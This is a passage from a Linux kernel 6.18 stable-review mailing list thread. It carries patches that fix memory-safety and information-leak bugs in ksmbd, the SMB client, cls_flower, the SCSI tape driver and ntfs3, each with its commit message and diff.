+++ b/net/core/sock.c
@@ -2471,6 +2471,9 @@ struct sock *sk_clone_lock(const struct
#ifdef CONFIG_BPF_SYSCALL
RCU_INIT_POINTER(newsk->sk_bpf_storage, NULL);
#endif
+#if IS_ENABLED(CONFIG_INET_PSP)
+ RCU_INIT_POINTER(newsk->psp_assoc, NULL);
+#endif
/* SANITY */
if (likely(newsk->sk_net_refcnt)) {
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 154/193] ksmbd: fill in FileSysIdentifier in FS_POSIX_INFORMATION
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (152 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 153/193] net: psp: do not inherit the Rx association on clone Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 155/193] ksmbd: initialize FileSystemControlFlags in FS_CONTROL_INFORMATION Greg Kroah-Hartman
` (49 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Aleksandr Khromov, Namjae Jeon
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Aleksandr Khromov <haa@amicon.ru>
commit db2267b27c054a6c2151ff7fbb67927e784f31d6 upstream.
smb2_get_info_filesystem() reports 56 bytes for FS_POSIX_INFORMATION,
that is the whole of FILE_SYSTEM_POSIX_INFO, but never assigns
FileSysIdentifier. Those eight bytes go to the client as they are found
in the response buffer.
The buffer is zeroed on allocation, so a standalone request leaks
nothing. A compound request can leak: the offset of the next response
is advanced by the length pinned for the previous one, so a reply that
was written into the buffer and then dropped in favour of the short
error response of smb2_set_err_rsp() stays there, and the next reply is
laid over it with only the header cleared.
Report the file system id statfs() returned, which is what the field is
for. FileSysIdentifier is __le64 and f_fsid is a pair of ints, so
assemble the value first, val[0] as the low half, and convert it on the
way out.
Fixes: e2f34481b24d ("cifsd: add server-side procedures for SMB3")
Cc: stable@vger.kernel.org
Signed-off-by: Aleksandr Khromov <haa@amicon.ru>
Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/server/smb2pdu.c | 3 +++
1 file changed, 3 insertions(+)
--- a/fs/smb/server/smb2pdu.c
+++ b/fs/smb/server/smb2pdu.c
@@ -5788,6 +5788,9 @@ static int smb2_get_info_filesystem(stru
info->UserBlocksAvail = cpu_to_le64(stfs.f_bavail);
info->TotalFileNodes = cpu_to_le64(stfs.f_files);
info->FreeFileNodes = cpu_to_le64(stfs.f_ffree);
+ info->FileSysIdentifier =
+ cpu_to_le64((u64)(u32)stfs.f_fsid.val[1] << 32 |
+ (u32)stfs.f_fsid.val[0]);
rsp->OutputBufferLength = cpu_to_le32(56);
fixed_len = 56;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 155/193] ksmbd: initialize FileSystemControlFlags in FS_CONTROL_INFORMATION
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (153 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 154/193] ksmbd: fill in FileSysIdentifier in FS_POSIX_INFORMATION Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 156/193] ksmbd: zero the FS_OBJECT_ID_INFORMATION buffer before filling it in Greg Kroah-Hartman
` (48 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Aleksandr Khromov, Namjae Jeon
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Aleksandr Khromov <haa@amicon.ru>
commit c0cd3fc6824122014da2b3b0cb7ddeaa2946ec8e upstream.
smb2_get_info_filesystem() reports 48 bytes for FS_CONTROL_INFORMATION,
that is the whole of struct smb2_fs_control_info, but never assigns
FileSystemControlFlags. Those four bytes go to the client as they are
found in the response buffer.
The buffer is zeroed on allocation, so a standalone request leaks
nothing. A compound request can leak: the offset of the next response
is advanced by the length pinned for the previous one, so a reply that
was written into the buffer and then dropped in favour of the short
error response of smb2_set_err_rsp() stays there, and the next reply is
laid over it with only the header cleared.
ksmbd does not implement quota tracking, so report no control flags.
Fixes: e2f34481b24d ("cifsd: add server-side procedures for SMB3")
Cc: stable@vger.kernel.org
Signed-off-by: Aleksandr Khromov <haa@amicon.ru>
Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/server/smb2pdu.c | 1 +
1 file changed, 1 insertion(+)
--- a/fs/smb/server/smb2pdu.c
+++ b/fs/smb/server/smb2pdu.c
@@ -5766,6 +5766,7 @@ static int smb2_get_info_filesystem(stru
info->FreeSpaceStopFiltering = 0;
info->DefaultQuotaThreshold = cpu_to_le64(SMB2_NO_FID);
info->DefaultQuotaLimit = cpu_to_le64(SMB2_NO_FID);
+ info->FileSystemControlFlags = 0;
info->Padding = 0;
rsp->OutputBufferLength = cpu_to_le32(48);
fixed_len = 48;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 156/193] ksmbd: zero the FS_OBJECT_ID_INFORMATION buffer before filling it in
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (154 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 155/193] ksmbd: initialize FileSystemControlFlags in FS_CONTROL_INFORMATION Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 157/193] net/sched: cls_flower: validate mask pointer after nla_next() Greg Kroah-Hartman
` (47 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, ChenXiaoSong, Aleksandr Khromov,
Namjae Jeon
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Aleksandr Khromov <haa@amicon.ru>
commit 399aa12450a61a5c73dc77e73f069ece9687c95d upstream.
smb2_get_info_filesystem() reports 64 bytes for FS_OBJECT_ID_INFORMATION,
that is the whole of struct object_id_info, but writes only 46 of them:
- objid[] is 16 bytes, and when the volume UUID is not available only
sizeof(stfs.f_fsid) (8) bytes are copied into it;
- extended_info.version_string[] is STRING_LENGTH (28) bytes, and only
strlen("1.1.0") (5) bytes are copied into it.
The response buffer is zeroed on allocation (kvzalloc() in
smb2_allocate_rsp_buf()), so for a standalone request the remaining 31
bytes are zero. In a compound request they need not be. The offset of
the next response is advanced by the length pinned for the previous one,
so if a preceding command wrote its reply into the buffer and then
failed, smb2_set_err_rsp() pins only the short error response and the
next reply lands inside the area that has already been written. Only
the header is cleared there:
memset((char *)rsp_hdr, 0, sizeof(struct smb2_hdr) + 2);
The client then receives up to 31 bytes of a response it was not meant
to see, including one that failed with an access denied error.
Clear the structure before filling it in. As a side effect
version_string is now NUL terminated.
Fixes: e2f34481b24d ("cifsd: add server-side procedures for SMB3")
Suggested-by: ChenXiaoSong <chenxiaosong@chenxiaosong.com>
Cc: stable@vger.kernel.org
Signed-off-by: Aleksandr Khromov <haa@amicon.ru>
Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/server/smb2pdu.c | 1 +
1 file changed, 1 insertion(+)
--- a/fs/smb/server/smb2pdu.c
+++ b/fs/smb/server/smb2pdu.c
@@ -5712,6 +5712,7 @@ static int smb2_get_info_filesystem(stru
struct object_id_info *info;
info = (struct object_id_info *)(rsp->Buffer);
+ memset(info, 0, sizeof(*info));
if (path.mnt->mnt_sb->s_uuid_len == 16)
memcpy(info->objid, path.mnt->mnt_sb->s_uuid.b,
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 157/193] net/sched: cls_flower: validate mask pointer after nla_next()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (155 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 156/193] ksmbd: zero the FS_OBJECT_ID_INFORMATION buffer before filling it in Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 158/193] smb: client: fix heap overflow in cifs_do_set_acl() Greg Kroah-Hartman
` (46 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, TencentOS Corvus AI, Aohan Mei,
Jakub Kicinski
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Aohan Mei <henrymei@tencent.com>
commit fee10655709c5c597e8e9f722f3035d9ea31ff3a upstream.
fl_set_enc_opt() iterates the key's nested tunnel-option attributes
with nla_for_each_attr() while advancing a single mask pointer via
nla_next() at the bottom of each loop, so the mask cursor is driven
by the number of key attributes rather than by the mask's own
attributes. The nla_ok() added by commit c96adff956191 ("cls_flower:
call nla_ok() before nla_next()") only validates the mask pointer
that was just consumed; the pointer produced by nla_next() is used by
the next iteration (fl_set_geneve_opt() and siblings) without any
validation.
The mask's nested attributes are validated with NL_VALIDATE_LIBERAL,
which merely warns on trailing bytes that do not form a complete
attribute. A mask carrying one valid attribute plus 1-3 residue
bytes (or a non-aligned attribute length making msk_depth negative)
therefore reaches the next iteration with msk_depth != 0, so neither
the !msk_depth check in fl_set_enc_opt() nor the !depth check in the
per-type helpers fires. nla_type() then reads past the mask payload
and nla_parse_nested_deprecated() iterates with an nla_len taken
from those bytes, reading well beyond the mask attribute (KASAN:
slab-out-of-bounds read in __nla_validate_parse from fl_change()).
Validate the advanced mask pointer as well: when the mask is not
legitimately exhausted (msk_depth != 0) and the new pointer fails
nla_ok(), reject the filter with -EINVAL. An exactly exhausted mask
still skips the check, preserving exact-match behaviour for the
remaining key attributes.
Fixes: c96adff95619 ("cls_flower: call nla_ok() before nla_next()")
Reported-by: TencentOS Corvus AI <corvus@tencent.com>
Cc: stable@vger.kernel.org
Signed-off-by: Aohan Mei <henrymei@tencent.com>
Link: https://patch.msgid.link/20260826025123.62758-1-ljp1205831794@gmail.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
net/sched/cls_flower.c | 5 +++++
1 file changed, 5 insertions(+)
--- a/net/sched/cls_flower.c
+++ b/net/sched/cls_flower.c
@@ -1707,6 +1707,11 @@ static int fl_set_enc_opt(struct nlattr
return -EINVAL;
}
nla_opt_msk = nla_next(nla_opt_msk, &msk_depth);
+
+ if (msk_depth && !nla_ok(nla_opt_msk, msk_depth)) {
+ NL_SET_ERR_MSG(extack, "A mask attribute is invalid");
+ return -EINVAL;
+ }
}
return 0;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 158/193] smb: client: fix heap overflow in cifs_do_set_acl()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (156 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 157/193] net/sched: cls_flower: validate mask pointer after nla_next() Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 159/193] smb: client: fix multiuser mount with krb5 Greg Kroah-Hartman
` (45 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Frank Sorenson, Paulo Alcantara
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Frank Sorenson <sorenson@redhat.com>
commit 1dac61e2c29d1a71784604b48cf3b1234a65ec29 upstream.
cifs_set_acl() validates ACL size using posix_acl_xattr_size():
4 + (count * 8) // 4-byte header + 8 bytes per ACE
cifs_do_set_acl() then calls posix_acl_to_cifs() to write the CIFS
wire format into the same buffer:
6 + (count * 10) // 6-byte header + 10 bytes per ACE
An ACL that passes the xattr-based check in cifs_set_acl() can
overflow the heap when posix_acl_to_cifs() writes the larger CIFS
format.
Validate the CIFS format size against the remaining buffer space and
USHRT_MAX before converting--data_count is __u16, so sizes above
USHRT_MAX truncate the on-wire packet length, causing the server to
apply a partial ACL. Replace MaxDataCount = 1000 with
min(CIFSMaxBufSize, USHRT_MAX).
Fixes: dc1af4c4b4721 ("cifs: implement set acl method")
Cc: stable@vger.kernel.org
Signed-off-by: Frank Sorenson <sorenson@redhat.com>
Signed-off-by: Paulo Alcantara <pc@manguebit.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/client/cifssmb.c | 13 +++++++++++--
1 file changed, 11 insertions(+), 2 deletions(-)
--- a/fs/smb/client/cifssmb.c
+++ b/fs/smb/client/cifssmb.c
@@ -3502,6 +3502,7 @@ int cifs_do_set_acl(const unsigned int x
int rc = 0;
int bytes_returned = 0;
__u16 params, byte_count, data_count, param_offset, offset;
+ size_t cifs_acl_size, bytes_available;
cifs_dbg(FYI, "In SetPosixACL (Unix) for path %s\n", fileName);
setAclRetry:
@@ -3520,8 +3521,7 @@ setAclRetry:
}
params = 6 + name_len;
pSMB->MaxParameterCount = cpu_to_le16(2);
- /* BB find max SMB size from sess */
- pSMB->MaxDataCount = cpu_to_le16(1000);
+ pSMB->MaxDataCount = cpu_to_le16(min_t(unsigned int, CIFSMaxBufSize, USHRT_MAX));
pSMB->MaxSetupCount = 0;
pSMB->Reserved = 0;
pSMB->Flags = 0;
@@ -3533,6 +3533,15 @@ setAclRetry:
parm_data = ((char *)pSMB) + sizeof(pSMB->hdr.smb_buf_length) + offset;
pSMB->ParameterOffset = cpu_to_le16(param_offset);
+ /* make sure we can fit the larger cifs_posix_aces in the buffer */
+ cifs_acl_size = sizeof(struct cifs_posix_acl) +
+ (acl->a_count * sizeof(struct cifs_posix_ace));
+ bytes_available = (CIFSMaxBufSize + MAX_HEADER_SIZE(tcon->ses->server)) - offset;
+ if (cifs_acl_size > bytes_available || cifs_acl_size > USHRT_MAX) {
+ rc = -E2BIG;
+ goto setACLerrorExit;
+ }
+
/* convert to on the wire format for POSIX ACL */
data_count = posix_acl_to_cifs(parm_data, acl, acl_type);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 159/193] smb: client: fix multiuser mount with krb5
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (157 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 158/193] smb: client: fix heap overflow in cifs_do_set_acl() Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 160/193] scsi: st: Fix use-after-free race between st_remove() and st_open() Greg Kroah-Hartman
` (44 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jacob Shivers, Ronnie Sahlberg,
Shyam Prasad N, Tom Talpey, Bharath SM, Namjae Jeon,
Paulo Alcantara
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Paulo Alcantara <pc@manguebit.org>
commit 69499395867332364ed4ac8b546537eb3bab6ebb upstream.
Customer reported that they could no longer mount their SMB shares
with multiuser mount option and krb5. Turned out that the client
wasn't duplicating username option when creating multiuser
connections, therefore failing to retrieve credentials as
cifs.upcall(8) couldn't find them in keytab.
Fix this by duplicating username option (if set) from original fs
context before creating multiuser connections with krb5.
Reproducer:
```
$ ktutil
ktutil: add_entry -password -p testuser -k 1 -e aes256-cts
Password for testuser@ZELDA.TEST:
ktutil: write_kt /etc/krb5.keytab
ktutil: quit
$ klist -ke
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- ----------------------------------------------------------------
1 testuser@ZELDA.TEST (aes256-cts-hmac-sha1-96)
$ mount.cifs //w22-root2/scratch /mnt/1 -o \
uid=1000,sec=krb5,username=testuser@ZELDA.TEST,multiuser
mount error(13): Permission denied
Refer to the mount.cifs(8) manual page (e.g. man mount.cifs) and
kernel log messages (dmesg)
```
Reported-by: Jacob Shivers <jshivers@redhat.com>
Fixes: 12b4c5d98cd7 ("smb: client: fix krb5 mount with username option")
Cc: Ronnie Sahlberg <ronniesahlberg@gmail.com>
Cc: Shyam Prasad N <sprasad@microsoft.com>
Cc: Tom Talpey <tom@talpey.com>
Cc: Bharath SM <bharathsm@microsoft.com>
Cc: Namjae Jeon <linkinjeon@kernel.org>
Cc: stable@vger.kernel.org
Reviewed-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Paulo Alcantara <pc@manguebit.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/client/connect.c | 21 ++++++++++++++++-----
1 file changed, 16 insertions(+), 5 deletions(-)
--- a/fs/smb/client/connect.c
+++ b/fs/smb/client/connect.c
@@ -4224,14 +4224,25 @@ cifs_setup_session(const unsigned int xi
return rc;
}
-static int
-cifs_set_vol_auth(struct smb3_fs_context *ctx, struct cifs_ses *ses)
+static int set_fs_context_auth(struct smb3_fs_context *ctx,
+ struct cifs_ses *ses)
{
ctx->sectype = ses->sectype;
- /* krb5 is special, since we don't need username or pw */
- if (ctx->sectype == Kerberos)
+ /*
+ * krb5 is special as we might need to pass username (passwordless) down
+ * to cifs.upcall(8) for keytab.
+ */
+ if (ctx->sectype == Kerberos) {
+ if (ses->user_name && ses->user_name[0]) {
+ ctx->username = kstrndup(ses->user_name,
+ CIFS_MAX_USERNAME_LEN,
+ GFP_KERNEL);
+ if (!ctx->username)
+ return -ENOMEM;
+ }
return 0;
+ }
return cifs_set_cifscreds(ctx, ses);
}
@@ -4271,7 +4282,7 @@ cifs_construct_tcon(struct cifs_sb_info
ctx->dfs_root_ses = master_tcon->ses->dfs_root_ses;
ctx->unicode = master_tcon->ses->unicode;
- rc = cifs_set_vol_auth(ctx, master_tcon->ses);
+ rc = set_fs_context_auth(ctx, master_tcon->ses);
if (rc) {
tcon = ERR_PTR(rc);
goto out;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 160/193] scsi: st: Fix use-after-free race between st_remove() and st_open()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (158 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 159/193] smb: client: fix multiuser mount with krb5 Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 161/193] ntfs3: fix use-after-free of sbi->options in cmp_fnames Greg Kroah-Hartman
` (43 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Dingisoul, Laurence Oberman,
Martin K. Petersen (Oracle)
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Laurence Oberman <loberman@redhat.com>
commit 71caf7f84bd62a4bf91cc95abd2de690afb8d15f upstream.
st_remove() drops the probe reference on the scsi_tape with kref_put()
and only afterwards removes its index from st_index_idr. If that was the
last reference, scsi_tape_release() frees the structure while it is
still published in the idr.
scsi_tape_get(), called from st_open(), looks up the tape in
st_index_idr and takes a reference under st_ref_mutex and
st_index_lock. remove_cdevs() does not wait for opens that are already
past chrdev_open(), so an open that is blocked on st_ref_mutex while
st_remove() holds it can take the mutex as soon as st_remove() drops it,
find the freed tpnt in the idr and call kref_get() on it:
BUG: KASAN: slab-use-after-free in st_open
Write of size 4 ...
st_open (drivers/scsi/st.c:254 drivers/scsi/st.c:1291)
chrdev_open
...
Freed by task ...:
kfree
st_remove (drivers/scsi/st.c:4512)
Remove the index from the idr before dropping the reference, all under
st_ref_mutex. A concurrent scsi_tape_get() now either runs first and
holds a valid reference that keeps the tape alive, or runs afterwards
and finds nothing, so st_open() fails with -ENXIO.
This restores the ordering st_remove() had before the conversion to
st_index_idr, where the tape was unpublished from scsi_tapes[] before
the final kref_put().
Fixes: 6c648d95a6af ("[SCSI] st: get rid of scsi_tapes array")
Cc: stable@vger.kernel.org
Reported-by: Dingisoul <dingiso.kernel@gmail.com>
Closes: https://lore.kernel.org/linux-scsi/20261007211520.1428497-1-dingiso.kernel@gmail.com/
Tested-by: Dingisoul <dingiso.kernel@gmail.com>
Signed-off-by: Laurence Oberman <loberman@redhat.com>
Link: https://patch.msgid.link/20261013202548.249628-1-loberman@redhat.com
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
[ loberman: st_remove() still returns int in 6.18; context adjusted ]
Signed-off-by: Laurence Oberman <loberman@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/scsi/st.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
--- a/drivers/scsi/st.c
+++ b/drivers/scsi/st.c
@@ -4471,11 +4471,11 @@ static int st_remove(struct device *dev)
remove_cdevs(tpnt);
mutex_lock(&st_ref_mutex);
- kref_put(&tpnt->kref, scsi_tape_release);
- mutex_unlock(&st_ref_mutex);
spin_lock(&st_index_lock);
idr_remove(&st_index_idr, index);
spin_unlock(&st_index_lock);
+ kref_put(&tpnt->kref, scsi_tape_release);
+ mutex_unlock(&st_ref_mutex);
return 0;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 161/193] ntfs3: fix use-after-free of sbi->options in cmp_fnames
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (159 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 160/193] scsi: st: Fix use-after-free race between st_remove() and st_open() Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 162/193] ntfs3: fix double free of sbi->options->nls and clarify ownership of fc->fs_private Greg Kroah-Hartman
` (42 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, syzbot+d77c546c60db651a389c, YangWen,
Konstantin Komarov, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: YangWen <anmuxixixi@gmail.com>
[ Upstream commit 02f312754c873efe076888a2fdca982e56617929 ]
The root cause is that sbi->options points directly to fc->fs_private.
If fc->fs_private is freed while sbi still exists, sbi->options becomes
a dangling pointer.
This patch ensures that sbi->options is a separate copy of fc->fs_private
and duplicates nls_name if present. On superblock release or error,
sbi->options->nls_name and sbi->options are freed and sbi->options
is set to NULL to avoid any dangling pointer.
Reported-by: syzbot+d77c546c60db651a389c@syzkaller.appspotmail.com
Signed-off-by: YangWen <anmuxixixi@gmail.com>
[almaz.alexandrovich@paragon-software.com: remove syzbot logs from description]
Signed-off-by: Konstantin Komarov <almaz.alexandrovich@paragon-software.com>
Stable-dep-of: c01b091b0641 ("ntfs3: free the sbi after a grace period")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/ntfs3/super.c | 47 +++++++++++++++++++++++++++++++++++++++--------
1 file changed, 39 insertions(+), 8 deletions(-)
--- a/fs/ntfs3/super.c
+++ b/fs/ntfs3/super.c
@@ -703,6 +703,14 @@ static void ntfs_put_super(struct super_
/* Mark rw ntfs as clear, if possible. */
ntfs_set_state(sbi, NTFS_DIRTY_CLEAR);
+
+ if (sbi->options) {
+ unload_nls(sbi->options->nls);
+ kfree(sbi->options->nls);
+ kfree(sbi->options);
+ sbi->options = NULL;
+ }
+
ntfs3_put_sbi(sbi);
}
@@ -1221,7 +1229,8 @@ static int ntfs_fill_super(struct super_
int err;
struct ntfs_sb_info *sbi = sb->s_fs_info;
struct block_device *bdev = sb->s_bdev;
- struct ntfs_mount_options *options;
+ struct ntfs_mount_options *fc_opts;
+ struct ntfs_mount_options *options = NULL;
struct inode *inode;
struct ntfs_inode *ni;
size_t i, tt, bad_len, bad_frags;
@@ -1238,20 +1247,35 @@ static int ntfs_fill_super(struct super_
ref.high = 0;
sbi->sb = sb;
- sbi->options = options = fc->fs_private;
- fc->fs_private = NULL;
+ fc_opts = fc->fs_private;
+ if (!fc_opts) {
+ errorf(fc, "missing mount options");
+ return -EINVAL;
+ }
+ options = kmemdup(fc_opts, sizeof(*fc_opts), GFP_KERNEL);
+ if (!options)
+ return -ENOMEM;
+
+ if (fc_opts->nls_name) {
+ options->nls_name = kstrdup(fc_opts->nls_name, GFP_KERNEL);
+ if (!options->nls_name) {
+ kfree(options);
+ return -ENOMEM;
+ }
+ }
+ sbi->options = options;
sb->s_flags |= SB_NODIRATIME;
sb->s_magic = 0x7366746e; // "ntfs"
sb->s_op = &ntfs_sops;
sb->s_export_op = &ntfs_export_ops;
sb->s_time_gran = NTFS_TIME_GRAN; // 100 nsec
sb->s_xattr = ntfs_xattr_handlers;
- set_default_d_op(sb, options->nocase ? &ntfs_dentry_ops : NULL);
+ set_default_d_op(sb, sbi->options->nocase ? &ntfs_dentry_ops : NULL);
- options->nls = ntfs_load_nls(options->nls_name);
- if (IS_ERR(options->nls)) {
- options->nls = NULL;
- errorf(fc, "Cannot load nls %s", options->nls_name);
+ sbi->options->nls = ntfs_load_nls(sbi->options->nls_name);
+ if (IS_ERR(sbi->options->nls)) {
+ sbi->options->nls = NULL;
+ errorf(fc, "Cannot load nls %s", fc_opts->nls_name);
err = -EINVAL;
goto out;
}
@@ -1668,6 +1692,13 @@ load_root:
put_inode_out:
iput(inode);
out:
+ if (sbi && sbi->options) {
+ unload_nls(sbi->options->nls);
+ kfree(sbi->options->nls);
+ kfree(sbi->options);
+ sbi->options = NULL;
+ }
+
ntfs3_put_sbi(sbi);
kfree(boot2);
return err;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 162/193] ntfs3: fix double free of sbi->options->nls and clarify ownership of fc->fs_private
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (160 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 161/193] ntfs3: fix use-after-free of sbi->options in cmp_fnames Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 163/193] fs/ntfs3: fix ntfs_mount_options leak in ntfs_fill_super() Greg Kroah-Hartman
` (41 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, syzbot+cc433e4cd6d54736bf80, YangWen,
Konstantin Komarov, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: YangWen <anmuxixixi@gmail.com>
[ Upstream commit aee4d5a521e94f658e46c904e08a473daa9c8fc0 ]
commit 02f312754c87 ("ntfs3: fix use-after-free of sbi->options in cmp_fnames") introduced a use-after-free bug
due to improper handling of sbi->options in error paths. This resulted in crashes when superblock cleanup
is performed in ntfs_put_super.
This patch ensures that the options structure and its subfields are properly freed, preventing the memory
corruption and use-after-free errors.
Fixes: 02f312754c87 ("ntfs3: fix use-after-free of sbi->options in cmp_fnames")
Reported-by: syzbot+cc433e4cd6d54736bf80@syzkaller.appspotmail.com
Closes: https://syzkaller.appspot.com/bug?extid=cc433e4cd6d54736bf80
Signed-off-by: YangWen <anmuxixixi@gmail.com>
[almaz.alexandrovich@paragon-software.com: added fixes and closes tags]
Signed-off-by: Konstantin Komarov <almaz.alexandrovich@paragon-software.com>
Stable-dep-of: c01b091b0641 ("ntfs3: free the sbi after a grace period")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/ntfs3/super.c | 5 +++--
1 file changed, 3 insertions(+), 2 deletions(-)
--- a/fs/ntfs3/super.c
+++ b/fs/ntfs3/super.c
@@ -706,7 +706,7 @@ static void ntfs_put_super(struct super_
if (sbi->options) {
unload_nls(sbi->options->nls);
- kfree(sbi->options->nls);
+ kfree(sbi->options->nls_name);
kfree(sbi->options);
sbi->options = NULL;
}
@@ -1264,6 +1264,7 @@ static int ntfs_fill_super(struct super_
}
}
sbi->options = options;
+ fc->fs_private = NULL;
sb->s_flags |= SB_NODIRATIME;
sb->s_magic = 0x7366746e; // "ntfs"
sb->s_op = &ntfs_sops;
@@ -1694,7 +1695,7 @@ put_inode_out:
out:
if (sbi && sbi->options) {
unload_nls(sbi->options->nls);
- kfree(sbi->options->nls);
+ kfree(sbi->options->nls_name);
kfree(sbi->options);
sbi->options = NULL;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 6.18 163/193] fs/ntfs3: fix ntfs_mount_options leak in ntfs_fill_super()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (161 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 162/193] ntfs3: fix double free of sbi->options->nls and clarify ownership of fc->fs_private Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 164/193] ntfs3: free the sbi after a grace period Greg Kroah-Hartman
